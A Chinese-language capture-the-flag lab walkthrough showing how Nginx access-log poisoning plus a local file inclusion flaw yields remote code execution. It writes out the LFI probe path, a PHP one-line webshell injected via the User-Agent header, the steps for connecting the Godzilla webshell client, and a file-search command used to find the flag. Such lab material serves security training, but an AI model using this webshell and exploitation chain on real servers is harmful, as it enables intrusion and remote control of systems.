1.靶场环境搭建
启动靶场,复制靶场基础访问地址,为后续漏洞探测、日志包含利用做好基础准备。
2.漏洞探测前置配置
提前准备Nginx默认日志文件访问路径拼接参数:
?url=/var/log/nginx/access.log
可直接与靶场地址组合构造探测URL,省去手动输入繁琐步骤,提升漏洞复现效率。
3.核心工具准备
Yakit:用于HTTP请求抓包、篡改请求头实现日志投毒;提前新建临时项目,开启免配置劫持,直接进入抓包就绪状态。
哥斯拉:用于连接日志中写入的PHP一句话木马,实现远程代码执行;无需提前配置,待木马成功写入日志后,直接添加目标即可使用。
步骤1:构造URL,验证LFI漏洞存在性
将准备好的参数拼接至靶场基础地址,生成完整探测URL:
[靶场地址]?url=/var/log/nginx/access.log
将该URL输入至Yakit劫持的浏览器地址栏并访问。
步骤2:Yakit抓包篡改UA,完成日志投毒
1. 按下 Ctrl+R 触发Yakit抓包功能,捕获当前访问日志文件的HTTP请求包;
2. 在请求包中定位User-Agent(UA)请求头字段,将原有字段值替换为PHP一句话木马:
<?php @eval($_POST['pass']); ?>
3. 发送篡改后的HTTP请求,恶意PHP代码将被Nginx服务器写入 access.log 日志文件,完成日志投毒。
步骤3:哥斯拉连接木马,命令执行获取flag
1. 复制浏览器中已构造完成的日志包含完整URL:
[靶场地址]?url=/var/log/nginx/access.log
2. 打开哥斯拉,点击「目标-添加」,将复制的URL填入目标地址栏,有效载荷选择PHP类型(与注入的木马开发语言匹配),填写木马连接密码(与一句话木马上的 $_POST['pass'] 参数值保持一致);
3. 点击「测试连接」,提示连接成功后保存目标并建立远程连接;
4. 在哥斯拉「命令执行」模块输入命令 find / -name *flag* ,回车执行,遍历服务器所有含 flag 关键字的文件,定位 flag.txt 的绝对路径;
5. 切换至哥斯拉「文件管理」模块,输入 flag.txt 所在的目录路径,回车后找到目标文件 flag.txt ,双击打开即可查看flag内容,完成本次漏洞复现。
本次实战复现围绕Nginx日志投毒+本地文件包含(LFI)漏洞组合展开,核心利用Nginx日志记录请求头的特性,通过篡改UA请求头注入PHP一句话木马并写入日志文件;
再结合靶场存在的LFI漏洞,通过哥斯拉连接日志中的木马实现靶机远程控制,最终通过命令遍历与文件管理功能查找并获取flag。